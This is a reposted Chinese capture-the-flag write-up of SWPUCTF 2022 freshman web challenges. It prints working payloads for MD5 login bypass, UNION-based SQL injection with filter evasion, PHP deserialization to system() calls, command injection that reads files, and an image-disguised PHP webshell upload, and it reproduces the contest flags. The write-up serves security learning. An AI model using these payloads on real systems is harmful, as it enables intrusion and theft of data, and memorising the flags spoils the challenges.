首页 > 其他分享 >SWPUCTF 2022 新生赛

SWPUCTF 2022 新生赛

时间:2023-09-24 14:45:23浏览次数:33  
标签:__ 匹配 2022 SWPUCTF 新生 system file php public

Web

奇妙的MD5

打开得到一个md5加密窗口

放入ffifdyop,这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6 而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是1select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。

然后看源代码

截图.png

可以用数组绕过或者上网查md5值相同的两个数

?x[]=1&y[]=7

然后到这关

截图.png

即可

截图.png

1z_unserialize

截图.png

一眼构建lyh类,其中lt作为system,lly作为cat /flag构建即可

<?php

class lyh{

public $url = 'NSSCTF.com';

public $lt;

public $lly;

function __destruct()

{

$a = $this->lt;

$a($this->lly);

}

}

$o = new lyh();

$o->lt='system';

$o->lly='cat /flag';

$q = serialize($o);

print_r($q);

?>

numgame

首先你得知道::双冒号运算符

在PHP中,::是一个双冒号运算符,也被称为范围解析操作符或静态访问操作符。它用于访问类中的静态属性、静态方法和常量,或调用父类的静态方法。

在类名后面使用::,可以直接访问类的静态成员或调用静态方法,而无需创建类的实例。这使得我们无需实例化一个类就可以访问和操作类级别的成员。

上代码:

class MyClass {

public static $myStaticProperty = 10;

}

echo MyClass::$myStaticProperty; // 输出 10

首先这个题,打开网站检查,然后看到提示访问NsScTf.php,然后代码审计

3. 接下来,定义了一个名为`nss`的类,其中有一个名为`ctf()`的静态方法。包含了hint2.php

4. 在接下来的代码中,通过`isset($_GET['p'])`检查`$_GET['p']`是否存在。如果存在,就进入下一层判断。

5. 在第6行代码中,使用`preg_match()`函数对`$_GET['p']`进行正则匹配,判断其是否含有字母`n`或`c`。如果匹配成功,就输出`"no"`并结束脚本的执行。

6. 在第7行代码中,使用了`call_user_func()`函数,根据`$_GET['p']`的值调用对应的函数。`call_user_func()`函数用于调用一个回调函数。这里回调函数的名称由`$_GET['p']`指定。

截图.png

构造payload:?p=NSS::Ctf (因为有过滤)

然后提示NSS2成功

截图.png

ez_ez_unserialize

打开题目,代码审计

<?php

class X

{

public $x = __FILE__;

function __construct($x)

{

$this->x = $x;

}

function __wakeup()

{

if ($this->x !== __FILE__) {

$this->x = __FILE__;

}

}

function __destruct()

{

highlight_file($this->x);

//flag is in fllllllag.php

}

}

if (isset($_REQUEST['x'])) {

@unserialize($_REQUEST['x']);

} else {

highlight_file(__FILE__);

}

其中__FILE__是一个 PHP 预定义常量,它用于获取当前 PHP 脚本文件的完整路径。在这个代码中,

$this->x 和 $this->x = __FILE__; 语句将 $this->x 设置为当前 PHP 脚本文件的路径。

但这并不是重点,构造x=‘fllllllag.php’即可,因为可以highlight_file()

payload:<?php

class X

{

public $x = __FILE__;

function __construct($x)

{

$this->x = $x;

}

function __wakeup()

{

if ($this->x !== __FILE__) {

$this->x = __FILE__;

}

}

function __destruct()

{

highlight_file($this->x);

//flag is in fllllllag.php

}

}

$o = new X('fllllllag.php');

$p = serialize($o);

print_r($p);

?>

js_sign

打开题目,发现只有个check,查看JS文件

document.getElementsByTagName("button")[0].addEventListener("click", ()=>{

flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"

if (btoa(flag.value) == 'dGFwY29kZQ==') {

alert("you got hint!!!");

} else {

alert("fuck off !!");

}

})

dGFwY29kZQ==进行base64解密得到tapcode(敲击码)

http://www.hiencode.com/tapcode.html

把flag放敲击码解密,注意,解密前要把空格取消

得到

n(N) s(S) s(S) c(C) t(T) f(F) y(Y) o(O) u(U) f(F) i(I) n(N) d(D) f(F) l(L) a(A) g(G) b(B) y(Y) t(T) a(A) p(P) c(C) o(O) d(D) e(E)

设计python代码,将括号内的字符去掉,用正则表达式

import re

s ='n(N) s(S) s(S) c(C) t(T) f(F) y(Y) o(O) u(U) f(F) i(I) n(N) d(D) f(F) l(L) a(A) g(G) b(B) y(Y) t(T) a(A) p(P) c(C) o(O) d(D) e(E)'

output1 = re.sub(r'\([a-zA-Z]+\)','',s)

output2 = output1.replace(" ","")

print(output2)

得到nssctfyoufindflagbytapcode

最后补充一下

正则表达式是一种强大的文本匹配和处理工具,它允许你按照一定的模式在文本中查找、替换和提取信息。下面是一些常用的正则表达式元字符和用法:

1. `.`:匹配除换行符以外的任意字符。

2. `*`:匹配前面的字符零次或多次。

3. `+`:匹配前面的字符一次或多次。

4. `?`:匹配前面的字符零次或一次。

5. `^`:匹配字符串的开头。

6. `$`:匹配字符串的结尾。

7. `[]`:字符集,匹配其中的任意一个字符。

· `[0-9]` 匹配任意数字。

· `[a-zA-Z]` 匹配任意字母。

8. `[^]`:反向字符集,匹配不在其中的任意字符。

9. `|`:或,匹配左边或右边的表达式。

10. `()`:捕获分组,用于提取匹配的子串。

11. `\d`:匹配任意数字,等同于 `[0-9]`。

12. `\w`:匹配任意字母、数字或下划线,等同于 `[a-zA-Z0-9_]`。

13. `\s`:匹配任意空白字符,包括空格、制表符和换行符。

14. `{n}`:匹配前面的字符恰好 n 次。

15. `{n,}`:匹配前面的字符至少 n 次。

16. `{n,m}`:匹配前面的字符至少 n 次但不超过 m 次。

以下是一些示例:

- 匹配一个IP地址:`\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}`

- 匹配一个电子邮件地址:`[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}`

- 匹配一个URL:`(http|https|ftp)://[^\s/$.?#].[^\s]*`

正则表达式可以应用于文本搜索、字符串处理、数据验证等各种情境。虽然强大,但也需要谨慎使用,因为复杂的正则表达式可能会难以维护和理解。

xff

打开题目:

Must be accessed from Xiaohong's own computer.

X-Forwarded-For:127.0.0.1

Must be jump from Home Page.

Referer:127.0.0.1

ez_sql

一眼sql注入,用post的万能密码:'='

截图.png

都是错的

尝试常规注入,发现or被过滤

nss=1'//oorrder//by/**/4#可以,判断为3列

union也是双写可以绕过

payload:nss=0'//uunionnion//select/**/1,2,3#

注意这里是0比较好,-1还是不会报错

截图.png

nss=0'//uunionnion//select/**/1,database(),3#

得到NSS_db

nss=0'//uunionnion//select/**/1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like('NSS_db')),3#

得到NSS_tb,users表,注意information的or被过滤了

nss=0'//uunionnion//select/**/1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)like('NSS_tb')),3#

得到id,Secr3t,flll444g列

nss=0'//uunionnion//select/**/1,(select(group_concat(Secr3t))from(NSS_tb)),3#

得到NSSCTF{bce87b1f-b77f-44e2-982e-d901287046d7}

webdog1__start

截图.png

查看源代码需要我们要

变量等于md5的变量

这里的思路是让他们都为0e来触发0e计数法接着相等

这里我们用0e215962017

截图.png

提示robots.txt文件

截图.png

http://node5.anna.nssctf.cn:28152/F1l1l1l1l1lag.php?get=system('ls%09/');

截图.png

因为有字符限制,我也不会了,只能看大佬的

http://node5.anna.nssctf.cn:28152/F1l1l1l1l1lag.php?get=system('nl%09/*');

funny_php

考代码审计

主要用num[]=1数组绕过第一个即可

截图.png

ez_1zpop

打开题目,一眼system('ls')加反序列化

$b($this->title);要想变成system('ls')

则$b='system',所以要new一个fin类,然后给fin类的a赋值‘system’,title赋值‘ls /’

但是要调用fmm方法,就必须用lt类的tostring方法,并且绕过wakeup。

接下来就是构造了

<?php

error_reporting(0);

class lt

{

   public $impo;

   public $md51='s878926199a';

   public $md52='s155964671a';

}

class fin

{

   public $a='system';

   public $url = 'https://www.ctfer.vip';

   public $title='ls /';

}

$a = new lt();  

$a->impo = new fin();//注意这里是impo,不是$impo

echo serialize($a);

payload:/?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:4:"ls%20/";}s:4:"md51";s:11:"s878926199a";s:4:"md52";s:11:"s155964671a";}

file_master

打开题目,有一个查询,查询一下index.php

得到源代码

<?php

    session_start();

    if(isset($_GET['filename'])){

        echo file_get_contents($_GET['filename']);

    }

    else if(isset($_FILES['file']['name'])){

        $whtie_list = array("image/jpeg");

        $filetype = $_FILES["file"]["type"];

        if(in_array($filetype,$whtie_list)){

            $img_info = @getimagesize($_FILES["file"]["tmp_name"]);

            if($img_info){

                if($img_info[0]<=20 && $img_info[1]<=20){

                    if(!is_dir("upload/".session_id())){

                        mkdir("upload/".session_id());

                    }

                    $save_path = "upload/".session_id()."/".$_FILES["file"]["name"];

                    move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);

                    $content = file_get_contents($save_path);

                    if(preg_match("/php/i",$content)){

                        sleep(5);

                        @unlink($save_path);

                        die("hacker!!!");

                    }else{

                        echo "upload success!! upload/your_sessionid/your_filename";

                    }

                }else{

                    die("image hight and width must less than 20");

                }

            }else{

                die("invalid file head");

            }

        }else{

            die("invalid file type!image/jpeg only!!");

        }

    }else{

        echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';

    }

?>

由于限制了宽高,要在php文件一开始加上:

define height 1

#define width 1

又因为限制了php字符

所以用短标签代替:

<?= ?>

构造payload:

define height 1

#define width 1

<?= system('cat /flag');

得到upload/your_sessionid/your_filename

检查-network-sessionid

截图.png

得到flag:NSSCTF{66e0d47f-61ea-4a51-bae0-d7c2af8a6ca0}

标签:__,匹配,2022,SWPUCTF,新生,system,file,php,public
From: https://www.cnblogs.com/userpei/p/17725948.html

相关文章

  • 2022新领军一试部分题目及解答
    2022新领军一试部分题目及解答小学渣​爱数学的初三菜鸡一枚前言:本文章仅用于记录作者本人思考的解答,看个乐子就好(初二牲)1.(1)求 I_n=\displaystyle\int_{-1}^{1}x^n\sqrt{1-x^2}\mathrm{d}x\;\;\;\;\;\;\; (2)求 \displaystyle\sum_{n=1}^{+\i......
  • JOI Final 2022
    怎么这么难!写BCDE。loj3663.「JOI2022Final」自学tag:二分,贪心。先不妨假设\(A_i\geqB_i\)。二分,然后考虑怎么选。发现方案一定是:如果能上课就先上课把需求填满,然后空出来的时间用来自学上课上不满的课程。如何证明。只需要证明:不存在上课能满足需求的,需要用别的课的......
  • P8867 [NOIP2022] 建造军营
    这道题想了很久,终于想出来了,非常抽象。经过一番无脑推导,我们发现u里面有没有军营,是否与根连通,u的子树有没有军营,……都对方案数有影响,然后我就一直修修改改,事实证明,当发现越来越多题目条件中被忽略的细节时,一定不要嫌麻烦,要从头开始设置状态。首先我们发现,子树中有没有军营对于......
  • [CSP-S 2022 T1] 假期计划
    #include<cstdio>#include<vector>#include<queue>#include<algorithm>usingnamespacestd;typedeflonglongLL;constintN=2505;vector<int>G[N];intdis[N],top3[N][3];boolvis[N],ok[N][N];LLs[N];intmain(){......
  • 春秋云镜 - CVE-2022-28060
    VictorCMSv1.0/includes/login.php存在sql注入找到页面的登录框,看介绍应该是post类型的表单注入。上sqlmap用原本的梭发现ctf的那个表是空的,换用--file-read参数从目标中读取文件拿到flag。root@Locklytemp/tmp»sqlmap-rsql.txt--file-read"/flag"--batch......
  • 春秋云镜 - CVE-2022-28512
    FantasticBlog(CMS)是一个绝对出色的博客/文章网络内容管理系统。它使您可以轻松地管理您的网站或博客,它为您提供了广泛的功能来定制您的博客以满足您的需求。它具有强大的功能,您无需接触任何代码即可启动并运行您的博客。该CMS的/single.php路径下,id参数存在一个SQL注入漏洞......
  • 2021-2022 ICPC Northwestern European Regional Programming Contest (NWERC 2021)
    A.AccessDenied先问若干次,问出长度,然后再一位一位的问即可。#include<bits/stdc++.h>usingnamespacestd;intinput(){strings;getline(cin,s);if(s=="ACCESSGRANTED")exit(0);intt=0;for(autoi:s){if(i&g......
  • Couchdb-权限绕过--命令执行--(CVE-2017-12635)&&(CVE-2017-12636)--H2database命令执
    Couchdb-权限绕过--命令执行--(CVE-2017-12635)&&(CVE-2017-12636)--H2database命令执行--(CVE-2022-23221)环境概述采用Vulfocus靶场环境进行复现,搭建操作和文章参考具体搭建教程参考vulfocus不能同步的解决方法/vulfocus同步失败。CouchdbCVE-2017-12635权限绕过漏洞概述A......
  • 新生产力范式,重塑工作效率
    近年来,人工智能(AI)的快速发展已经改变了我们的生活和工作方式。在这个过程中,生成式AI(GenerativeAI)和CHAT-GPT等技术的崛起,不仅为人工智能的应用提供了更广阔的舞台,更重新定义了生产力的概念。首先,我们要理解CHAT-GPT和生成式AI的基本概念。CHAT-GPT是一种基于自然语言处理(NLP)的AI模......
  • VS2022代码格式化
    升级到vs2022后发现之前常用代码格式化插件FormatdocumentonSave不怎么好用了,经常会ctrl+s后代码并没有格式化, 这让我很不爽,查阅资料后发现vs2022内置了代码格式化功能,具体操作如下图所示: 这样既可以了。这个配置文件也是可以修改的,比如我只想要保存时格式化代码而......